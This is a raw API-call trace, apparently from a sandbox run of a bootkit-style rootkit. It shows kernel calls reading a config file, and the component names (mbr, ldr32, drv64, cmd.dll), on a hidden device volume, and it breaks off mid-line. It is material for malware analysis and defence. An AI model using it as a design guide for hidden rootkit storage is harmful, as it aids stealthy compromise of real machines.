MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.162] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.162] IdePortDispatch () returned 0x103 [0119.162] KeWaitForMutexObject () returned 0x0 [0119.162] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.162] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.162] IdePortDispatch () returned 0x103 [0119.162] KeWaitForMutexObject () returned 0x0 [0119.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.162] KeLeaveCriticalRegion () [0119.162] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.163] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.163] KeEnterCriticalRegion () [0119.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.163] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.163] KeLeaveCriticalRegion () [0119.163] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.163] KeEnterCriticalRegion () [0119.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.163] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.163] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.163] KeLeaveCriticalRegion () [0119.163] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.163] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.163] KeEnterCriticalRegion () [0119.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.163] ExFreePoolWithTag (P=0xfffffa8003aa86f0, Tag=0x0) [0119.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.163] KeLeaveCriticalRegion () [0119.163] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.163] ReleaseMutex (hMutex=0xf0) returned 1 [0119.163] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.163] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.163] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.163] KeEnterCriticalRegion () [0119.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.164] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.164] IdePortDispatch () returned 0x103 [0119.164] KeWaitForMutexObject () returned 0x0 [0119.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.164] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.164] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.164] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.164] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.164] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa8590 [0119.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.164] KeLeaveCriticalRegion () [0119.164] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.164] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.164] KeEnterCriticalRegion () [0119.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.164] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.164] KeLeaveCriticalRegion () [0119.164] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.164] KeEnterCriticalRegion () [0119.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.164] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.164] IdePortDispatch () returned 0x103 [0119.164] KeWaitForMutexObject () returned 0x0 [0119.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.164] KeLeaveCriticalRegion () [0119.164] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.165] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.165] KeEnterCriticalRegion () [0119.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.165] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c77000 [0119.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.165] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.165] IdePortDispatch () returned 0x103 [0119.165] KeWaitForMutexObject () returned 0x0 [0119.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.165] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.165] IdePortDispatch () returned 0x103 [0119.165] KeWaitForMutexObject () returned 0x0 [0119.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.165] KeLeaveCriticalRegion () [0119.165] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.166] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.166] KeEnterCriticalRegion () [0119.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.166] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.166] KeLeaveCriticalRegion () [0119.166] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.166] KeEnterCriticalRegion () [0119.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.166] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.166] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.166] KeLeaveCriticalRegion () [0119.166] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.166] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.166] KeEnterCriticalRegion () [0119.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.166] ExFreePoolWithTag (P=0xfffffa8003aa8590, Tag=0x0) [0119.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.166] KeLeaveCriticalRegion () [0119.166] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.166] ReleaseMutex (hMutex=0xf0) returned 1 [0119.166] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.166] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.166] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.166] KeEnterCriticalRegion () [0119.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.166] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.166] IdePortDispatch () returned 0x103 [0119.167] KeWaitForMutexObject () returned 0x0 [0119.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.167] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.167] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.167] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.167] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.167] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca2c0 [0119.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.167] KeLeaveCriticalRegion () [0119.167] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.167] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.167] KeEnterCriticalRegion () [0119.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.167] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.167] KeLeaveCriticalRegion () [0119.167] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.167] KeEnterCriticalRegion () [0119.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.167] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.167] IdePortDispatch () returned 0x103 [0119.167] KeWaitForMutexObject () returned 0x0 [0119.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.167] KeLeaveCriticalRegion () [0119.167] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.167] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.167] KeEnterCriticalRegion () [0119.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.167] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c78000 [0119.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.167] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.167] IdePortDispatch () returned 0x103 [0119.168] KeWaitForMutexObject () returned 0x0 [0119.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.168] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.168] IdePortDispatch () returned 0x103 [0119.168] KeWaitForMutexObject () returned 0x0 [0119.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.168] KeLeaveCriticalRegion () [0119.168] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.168] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.168] KeEnterCriticalRegion () [0119.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.169] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.169] KeLeaveCriticalRegion () [0119.169] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.169] KeEnterCriticalRegion () [0119.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.169] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.169] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.169] KeLeaveCriticalRegion () [0119.169] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.169] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.169] KeEnterCriticalRegion () [0119.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.169] ExFreePoolWithTag (P=0xfffffa80039ca2c0, Tag=0x0) [0119.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.169] KeLeaveCriticalRegion () [0119.169] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.169] ReleaseMutex (hMutex=0xf0) returned 1 [0119.169] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.169] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.169] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.169] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.169] KeEnterCriticalRegion () [0119.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.169] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.169] IdePortDispatch () returned 0x103 [0119.169] KeWaitForMutexObject () returned 0x0 [0119.169] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.169] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.169] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.169] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.169] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.169] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.170] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.170] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.170] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.170] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.170] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.170] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.170] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.170] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.170] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.170] KeLeaveCriticalRegion () [0119.170] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.170] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.170] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.170] KeEnterCriticalRegion () [0119.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.170] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.170] IdePortDispatch () returned 0x103 [0119.170] KeWaitForMutexObject () returned 0x0 [0119.170] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.170] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.170] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.170] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.170] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.170] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.170] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.170] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.170] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.170] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.170] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.170] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.170] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.170] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.170] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.170] KeLeaveCriticalRegion () [0119.170] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.170] ReleaseMutex (hMutex=0x100) returned 1 [0119.171] Sleep (dwMilliseconds=0x2bf20) [0119.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a3c20d0, dwHighDateTime=0x1d24fa4)) [0119.177] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.177] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.178] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.178] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.178] KeEnterCriticalRegion () [0119.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.178] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.178] IdePortDispatch () returned 0x103 [0119.178] KeWaitForMutexObject () returned 0x0 [0119.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.178] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.178] _strnicmp (_Str1="cmd64.dll", 